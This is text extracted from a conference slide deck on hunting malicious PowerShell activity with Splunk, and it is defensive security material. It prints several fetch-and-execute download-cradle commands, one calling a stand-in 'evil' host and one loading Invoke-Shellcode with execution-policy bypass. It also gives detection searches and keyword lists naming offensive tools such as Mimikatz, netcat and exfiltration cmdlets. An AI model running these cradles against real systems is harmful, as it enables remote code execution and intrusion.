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Disclaimer	  
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During	  the	  course	  of	  this	  presentaAon,	  we	  may	  make	  forward	  looking	  statements	  regarding	  future	  
events	  or	  the	  expected	  performance	  of	  the	  company.	  We	  cauAon	  you	  that	  such	  statements	  reflect	  our	  
current	  expectaAons	  and	  esAmates	  based	  on	  factors	  currently	  known	  to	  us	  and	  that	  actual	  events	  or	  
results	  could	  differ	  materially.	  For	  important	  factors	  that	  may	  cause	  actual	  results	  to	  differ	  from	  those	  
contained	  in	  our	  forward-‐looking	  statements,	  please	  review	  our	  filings	  with	  the	  SEC.	  The	  forward-‐
looking	  statements	  made	  in	  the	  this	  presentaAon	  are	  being	  made	  as	  of	  the	  Ame	  and	  date	  of	  its	  live	  
presentaAon.	  If	  reviewed	  aUer	  its	  live	  presentaAon,	  this	  presentaAon	  may	  not	  contain	  current	  or	  

accurate	  informaAon.	  We	  do	  not	  assume	  any	  obligaAon	  to	  update	  any	  forward	  looking	  statements	  we	  
may	  make.	  In	  addiAon,	  any	  informaAon	  about	  our	  roadmap	  outlines	  our	  general	  product	  direcAon	  and	  is	  

subject	  to	  change	  at	  any	  Ame	  without	  noAce.	  It	  is	  for	  informaAonal	  purposes	  only	  and	  shall	  not,	  be	  
incorporated	  into	  any	  contract	  or	  other	  commitment.	  Splunk	  undertakes	  no	  obligaAon	  either	  to	  develop	  
the	  features	  or	  funcAonality	  described	  or	  to	  include	  any	  such	  feature	  or	  funcAonality	  in	  a	  future	  release.	  



whoami	  
Ryan	  Kovar:	  CISSP,	  MSc(Dist)	  

•  17	  Years	  of	  cyber	  security	  experience	  	  
•  Worked	  in	  US/UK	  Public	  Sector	  and	  DOD	  most	  

recently	  in	  naAon	  state	  hunAng	  roles	  
•  Enjoys	  clicking	  too	  fast,	  long	  walks	  in	  the	  woods,	  and	  

data	  visualizaAon	  
•  Current	  role	  on	  Security	  PracAce	  team	  focuses	  on	  	  

incident/breach	  response,	  threat	  intelligence,	  and	  
research	  

•  Currently	  interested	  in	  automaAng	  methods	  to	  triage	  
data	  collecAon	  for	  IR	  analyst	  review	  

•  Also	  invesAgaAng	  why	  printers	  are	  so	  insubordinate	  
ಠ_ಠ	  
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Staff	  Security	  Strategist	  
Minster	  of	  the	  OODAloopers	  
@meansec	  



whoami	  Steve	  Brant:	  CISSP	  
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•  23	  years	  in	  the	  IT	  biz	  
•  8	  years	  in	  Security	  InformaAon	  and	  Event	  

Management	  

•  Novice	  beer	  snob	  
•  Working	  on	  improving	  the	  Splunk	  ES	  out	  of	  

the	  box	  experience	  with	  improved	  workflow	  
and	  searches	  

Senior	  Security	  Strategist	  
Minister	  of	  Truth	  
@trustedtech	  





Agenda	  

  Answering	  some	  W	  ’s	  
–  Why	  are	  we	  doing	  this	  talk	  
–  Who	  is	  using	  PowerShell?	  
–  What	  are	  the	  known	  unknowns	  of	  PowerShell	  
–  Where	  can	  we	  get	  PowerShell	  Logs?	  

  Talk	  about	  the	  H	  
–  How	  do	  we	  can	  we	  find	  these	  aiacks	  in	  our	  network?	  

  And	  now	  another	  W	  
–  Where	  can	  I	  find	  this	  info?	  

  Conclusion	  
	  

6	  



Why?	  	  







If	  you	  don’t	  know	  your	  $DAYJOB’s	  current	  
PowerShell	  version…	  
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…	  Sit	  Down	  



If	  you	  don’t	  know	  your	  $DAYJOB’s	  current	  
PowerShell	  Logging	  ConfiguraFon…	  
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…Sit	  Down	  



Look	  around…	  	  
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…Sit	  Down	  



37/39	  OrganizaFons	  we	  interviewed	  were	  not	  
collecFng	  PowerShell	  logs	  in	  any	  meaningful	  way	  
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…	  Approximately	  1.9	  
million	  workstaFons	  
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Powershell	  Is	  An	  Unknown	  Threat	  To	  Your	  Network	  

PowerShell	  
Empire	  

PowerShell	  

PowerSploit	  

“That	  aiack	  conAnued	  with	  PowerSploit,	  […]	  
and	  a	  second-‐stage	  malware	  payload	  taken	  
from	  the	  efforts	  of	  others”	  
	  	  	  –	  The	  Register,	  June	  2016	  

“Windows	  PowerShell	  Aed	  to	  more	  than	  a	  
third	  of	  cyber	  aiacks”	  
	  –	  ComputerWeekly.com,	  Mar	  2016	  

“The	  industry	  is	  [facing]	  years	  to	  come	  of	  
aiackers	  abusing	  PowerShell	  […]	  tools	  like	  
PowerShell	  Empire	  have	  all	  but	  assured	  that”	  
	  –	  DarkReading.com,	  Mar	  2016	  

It	  is	  everywhere	  
Every	  modern	  Windows	  OperaAng	  System	  
has	  PowerShell	  installed.	  But	  its	  not	  just	  
Windows…	  Soon	  Linux	  

PowerShell	  is	  LegiFmate	  
System	  Administrators	  use	  PowerShell	  for	  
their	  day	  jobs.	  Some	  Windows	  Servers	  
don’t	  even	  have	  GUIs	  	  

Logging	  isn’t	  Turned	  on	  
Most	  organizaAons	  probably	  don’t	  have	  
the	  logs	  required	  	  to	  detect	  PowerShell	  
because	  they	  aren’t	  turned	  on	  by	  default	  
OR	  they	  are	  running	  an	  old	  version	  of	  
PowerShell	  
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Windows	  PowerShell	  is	  an	  interacAve	  object-‐oriented	  
command	  environment	  with	  scripAng	  language	  

features	  that	  uAlizes	  small	  programs	  called	  cmdlets	  to	  
simplify	  configuraAon,	  administraAon,	  and	  

management	  of	  heterogeneous	  environments	  in	  both	  
standalone	  and	  networked	  typologies	  by	  uAlizing	  

standards-‐based	  remoAng	  protocols	  
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“MicrosoW	  open	  sources	  PowerShell,	  	  
brings	  it	  to	  Linux	  and	  OS	  X”	  
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One	  Language	  to	  rule	  them	  all	  



PowerShell	  can	  download	  files	  and	  execute	  them	  	  
in	  memory…they	  are	  never	  wri\en	  to	  disk.	  
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Look around… �
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iex	  (New-‐Object	  Net.WebClient).DownloadString("http://evil.ps1")	  

Download	  Cradles...	  Coined	  by	  Raphael	  
Mudge	  [2]	  



Who?	  	  



Place	  Holder	  PowerSploit	  CapabiliAes	  
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Place	  Holder	  PowerSploit	  CapabiliAes	  
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30	  
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What?	  	  





“On	  the	  shoulders	  of	  Giants”	  

Russel	  VanTuyl	  
hips://www.swordshield.com/wp-‐content/uploads/2016/05/
PowerShell-‐for-‐Cyber-‐Warriors-‐Bsides-‐Knoxville-‐2016v2.pptx	  	  



“Hackers	  are	  shameless	  with	  their	  
vicAms:	  they	  PowerSploit	  them”	  

-‐	  Fr13dr1ch	  N13+z5ch3	  
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Powershell.exe	  –exec	  bypass	  –noprofile	  –c	  “iex	  
(New-‐Object	  Net.WebClient).DownloadString	  
(‘http://127.0.0.1:8000/CodeExecution/Invoke-‐
Shellcode.ps1’)”	  



POWERSHELL EMPIRE 
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• Similar	  to	  Metasploit	  in	  
user	  experience	  
• C2	  funcAonality	  
• Second	  stage	  infecAon/
implant	  aUer	  iniAal	  
infecAon	  
• Used	  extensively	  for	  
lateral	  movement	  







Where?	  	  





Le	  eek!	  







Michael Gough �
@HackerHurricane �
http://www.HackerHurricane.com�
Co-Creator of Log-MD 



PowerShell	  
Version	  

Logging	  InformaFon	  

PowerShell	  1.0	   No	  Logging...	  Who	  cares	  

PowerShell	  2.0	  

Windows	  XP	  SP2/3,	  Server	  2003SP2,	  Vista	  
SP1/SP2,	  Windows	  2008	  SP1/2Windows	  2003	  
SP1,2Windows	  7,	  Windows	  Server	  2008R2	  

PowerShell	  3.0	   Windows	  8/8.1,	  Server	  2012/R2	  

PowerShell	  4.0	  
Windows	  8/1,	  7SP1,	  Server	  2008R2	  SP1,	  2012/
r2	  

PowerShell	  5.0	   Windows	  10,	  Windows	  8.1,	  Server	  2012	  R2	  



PowerShell	  1.0	  
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PowerShell	  2.0	  
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[3]	  



PowerShell	  3.0	  
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[3]	  



PowerShell	  4.0	  

52	  

[3]	  



PowerShell	  5.0	  
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[3]	  



Capture	  Your	  TranscripFons	  



Profile.ps1	  



But	  Powershell	  GPOs	  Alone	  Won’t	  	  
Solve	  Your	  Powershell	  Problem	  



Adversaries	  Can	  Bypass	  TranscripFon	  	  
Output	  Of	  Powershell	  Commands	  



powershell.exe	  -‐exec	  bypass	  –noprofile	  –c	  
"IEX	  (New-‐Object	  

Net.WebClient).DownloadString('http://
172.20.9.17	  /Recon/Get-‐HttpStatus.ps1')	  









hips://github.com/sbrant/PowerShell	  	  



Sweet	  Baby	  Cyber	  Jesus!	  What	  Do	  I	  Do!!!	  



How?	  





Copyright	  ©	  2016	  Splunk	  Inc.	  

Ryan	  Chapman	  	  
Bechtel	  CorporaAon	  

Lisa	  Tawfall	  
Bechtel	  CorporaAon	  
	  
	  

Powershell	  Power	  Hell:	  HunAng	  For	  Malicious	  
Use	  Of	  Powershell	  With	  Splunk	  
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And	  now	  for	  
	  	  	  something...	  

Completely	  	  
Different	  
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Data 



Finding	  Un-‐encoded	  IEX	  acAvity	  
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sourcetype="WinEventLog:Security"	  Process_Command_Line=*	  	  
|	  eval	  Process_Command_Line=lower(Process_Command_Line)	  
|	  search	  Process_Command_Line="*iex	  (new-‐object	  
net.webclient).downloadstring(*"	  	  
|	  stats	  VALUES(Process_Command_Line)	  BY	  host	  
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Finding	  Un-‐encoded	  IEX	  acAvity	  



Finding	  Downloads	  Of	  .ps1	  Files	  

71	  

sourcetype=stream:http	  http_method=GET	  
|	  where	  like(uri,	  "%.ps1")	  
|	  rex	  field=uri	  "\/(?<script_name>[^\/]+(?=$))”	  
|	  eval	  dest_content=substr(dest_content,1,100)	  
|	  stats	  VALUES(dest_content)	  VALUES(uri)	  by	  dest_ip	  
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Finding	  Downloads	  Of	  .ps1	  Files	  



Finding	  Unencrypted	  Empire	  Traffic	  

73	  

sourcetype=stream:http	  http_user_agent="Mozilla/5.0	  
(Windows	  NT	  6.1;	  WOW64;	  Trident/7.0;	  rv:11.0)	  like	  
Gecko"	  (uri_path="/admin/get.php"	  OR	  uri_path="/
index.asp"	  OR	  uri_path="/index.jsp"	  OR	  uri_path="/
login/process.jsp"	  OR	  uri_path="/news.asp")	  	  
|	  stats	  VALUES(uri_path)	  by	  src_ip	  



Finding	  Unencrypted	  Empire	  Traffic	  
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Finding	  Unencrypted	  Empire	  Traffic	  
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sourcetype="WinEventLog:Security"	  
Process_Command_Line=*	  
|	  eval	  length=len(Process_Command_Line)	  	  
|	  table	  length,	  Process_Command_Line	  	  
|	  sort	  -‐length	  

Finding	  Encoded	  Data	  



Finding Encoded Data



Conclusion	  



Ryan	  Chapman	  
Bechtel	  CorporaAon	  

Lisa	  Tawfall	  
Bechtel	  CorporaAon	  
	  

PowerShell	  Power	  Hell:	  HunAng	  for	  
Malicious	  Use	  of	  PowerShell	  with	  Splunk	  



https://conf.splunk.com/session/2015/
conf2015_MGough_MalwareArchaelogy_SecurityCompliance_FindingAd

vnacedAttacksAnd.pdf 



Michael Gough �
@HackerHurricane �
http://www.HackerHurricane.com�
Co-Creator of Log-MD 



New	  Process	  Started	  (EventCode	  4688)	  
index=windows	  source="WinEventLog:Security"	  (EventCode=4688)	  NOT	  
(Account_Name=*$)	  (at.exe	  OR	  bcdedit.exe	  OR	  chcp.exe	  OR	  cmd.exe	  OR	  
cscript.exe	  OR	  ipconfig.exe	  OR	  mimikatz.exe	  OR	  nbtstat.exe	  OR	  nc.exe	  OR	  
netcat.exe	  OR	  netstat.exe	  OR	  nmap	  OR	  nslookup.exe	  OR	  bcp.exe	  OR	  
sqlcmd.exe	  OR	  OSQL.exe	  OR	  ping.exe	  OR	  powershell.exe	  OR	  powercat.ps1	  OR	  
psexec.exe	  OR	  psexecsvc.exe	  OR	  psLoggedOn.exe	  OR	  procdump.exe	  OR	  rar.exe	  
OR	  reg.exe	  OR	  route.exe	  OR	  runas.exe	  OR	  sc.exe	  OR	  schtasks.exe	  OR	  
sethc.exe	  OR	  ssh.exe	  OR	  sysprep.exe	  OR	  systeminfo.exe	  OR	  system32\
\net.exe	  OR	  tracert.exe	  OR	  vssadmin.exe	  OR	  whoami.exe	  OR	  winrar.exe	  OR	  
wscript.exe	  OR	  winrm.*	  OR	  winrs.*	  OR	  wmic.exe	  OR	  wsmprovhost.exe)	  |	  eval	  
Message=split(Message,".")	  |	  eval	  Short_Message=mvindex(Message,0)	  |	  
table	  _Ome,	  host,	  Account_Name,	  Process_Name,	  Process_ID,	  
Process_Command_Line,	  New_Process_Name,	  New_Process_ID,	  
Creator_Process_ID,	  Short_Message	   [4]	  



New	  Process	  Started	  (EventCode	  4688)	  
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Finding	  Modules	  (EventCode	  4103	  or	  4104)	  
sourcetype="WinEventLog:Microsoft-‐Windows-‐PowerShell/Operational"	  (EventCode=4104)	  OR	  (EventCode=4103)(Set-‐ExecutionPolicy	  
OR	  Set-‐MasterBootRecordl	  OR	  Get-‐WMIObject	  OR	  Get-‐GPPPassword	  OR	  Get-‐Keystrokes	  OR	  Get-‐TimedScreenshot	  OR	  Get-‐
VaultCredential	  OR	  GetServiceUnquoted	  OR	  Get-‐ServiceEXEPerms	  OR	  Get-‐ServicePerms	  OR	  Get-‐RegAlwaysInstallElevated	  OR	  Get-‐
RegAutoLogon	  OR	  Get-‐UnattendedInstallFiles	  OR	  Get-‐Webconfig	  OR	  Get-‐ApplicationHost	  OR	  Get-‐PassHashes	  OR	  Get-‐LsaSecret	  OR	  
GetInformation	  OR	  Get-‐PSADForestInfo	  OR	  Get-‐KerberosPolicy	  OR	  Get-‐PSADForestKRBTGTInfo	  OR	  Get-‐PSADForestInfo	  OR	  
GetKerberosPolicy	  OR	  Invoke-‐Command	  OR	  Invoke-‐Expression	  OR	  iex	  OR	  Invoke-‐Shellcode	  OR	  Invoke-‐-‐Shellcode	  OR	  Invoke-‐
ShellcodeMSIL	  OR	  InvokeMimikatzWDigestDowngrade	  OR	  Invoke-‐NinjaCopy	  OR	  Invoke-‐CredentialInjection	  OR	  Invoke-‐
TokenManipulation	  OR	  InvokeCallbackIEX	  OR	  Invoke-‐PSInject	  OR	  Invoke-‐DllEncode	  OR	  Invoke-‐ServiceUserAdd	  OR	  Invoke-‐ServiceCMD	  
OR	  Invoke-‐ServiceStart	  OR	  Invoke-‐ServiceStop	  OR	  Invoke-‐ServiceEnable	  OR	  Invoke-‐ServiceDisable	  OR	  Invoke-‐FindDLLHijack	  OR	  
Invoke-‐FindPathHijack	  OR	  Invoke-‐AllChecks	  OR	  Invoke-‐MassCommand	  OR	  Invoke-‐MassMimikatz	  OR	  Invoke-‐MassSearch	  OR	  Invoke-‐
MassTemplate	  OR	  Invoke-‐MassTokens	  OR	  Invoke-‐ADSBackdoor	  OR	  Invoke-‐CredentialsPhish	  OR	  Invoke-‐BruteForce	  OR	  Invoke-‐
PowerShellIcmp	  OR	  Invoke-‐PowerShellUdp	  OR	  Invoke-‐PsGcatAgent	  OR	  Invoke-‐PoshRatHttps	  OR	  Invoke-‐PowerShellTcp	  OR	  Invoke-‐
PoshRatHttp	  OR	  Invoke-‐PowerShellWmi	  OR	  Invoke-‐PSGcat	  OR	  Invoke-‐Encode	  OR	  Invoke-‐Decode	  OR	  Invoke-‐CreateCertificate	  OR	  
InvokeNetworkRelay	  OR	  EncodedCommand	  OR	  New-‐ElevatedPersistenceOption	  OR	  wsman	  OR	  Enter-‐PSSession	  OR	  DownloadString	  OR	  
DownloadFile	  OR	  Out-‐Word	  OR	  Out-‐Excel	  OR	  Out-‐Java	  OR	  Out-‐Shortcut	  OR	  Out-‐CHM	  OR	  Out-‐HTA	  OR	  Out-‐Minidump	  OR	  HTTP-‐Backdoor	  OR	  
FindAVSignature	  OR	  DllInjection	  OR	  ReflectivePEInjection	  OR	  Base64	  OR	  System.Reflection	  OR	  System.Management	  OR	  Restore-‐
ServiceEXE	  OR	  Add-‐ScrnSaveBackdoor	  OR	  Gupt-‐Backdoor	  OR	  Execute-‐OnTime	  OR	  DNS_TXT_Pwnage	  OR	  WriteUserAddServiceBinary	  OR	  
Write-‐CMDServiceBinary	  OR	  Write-‐UserAddMSI	  OR	  Write-‐ServiceEXE	  OR	  Write-‐ServiceEXECMD	  OR	  Enable-‐DuplicateToken	  	  OR	  Remove-‐
Update	  OR	  Execute-‐DNSTXT-‐Code	  OR	  Download-‐Execute-‐PS	  OR	  Execute-‐CommandMSSQL	  OR	  Download_Execute	  OR	  Copy-‐VSS	  OR	  Check-‐VM	  OR	  
Create-‐MultipleSessions	  OR	  Run-‐EXEonRemote	  OR	  Port-‐Scan	  OR	  Remove-‐PoshRat	  OR	  TexttoEXE	  OR	  Base64ToString	  OR	  StringtoBase64	  
OR	  Do-‐Exfiltration	  OR	  Parse_Keys	  OR	  Add-‐Exfiltration	  OR	  AddPersistence	  OR	  Remove-‐Persistence	  OR	  Find-‐PSServiceAccounts	  OR	  
Discover-‐PSMSSQLServers	  OR	  DiscoverPSMSExchangeServers	  OR	  Discover-‐PSInterestingServices	  OR	  Discover-‐PSMSExchangeServers	  OR	  
DiscoverPSInterestingServices	  OR	  Mimikatz	  OR	  powercat	  OR	  powersploit	  OR	  PowershellEmpire	  OR	  Payload	  OR	  GetProcAddress)	  

[4]	  



Finding	  Modules	  (EventCode	  4103	  or	  4104)	  
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•  The	  threat	  from	  PowerShell	  is	  real	  
•  Upgrade	  to	  WMF5.0/PowerShell	  5.0	  
•  PowerShell	  has	  many	  places	  to	  enable	  logging	  
•  Don’t	  forget	  to	  log	  Command	  Line	  Process	  CreaAon	  
•  You	  probably	  don’t	  have	  logging	  enabled	  L	  
•  Read	  the	  cheat	  sheets	  by	  Michael	  Gough	  
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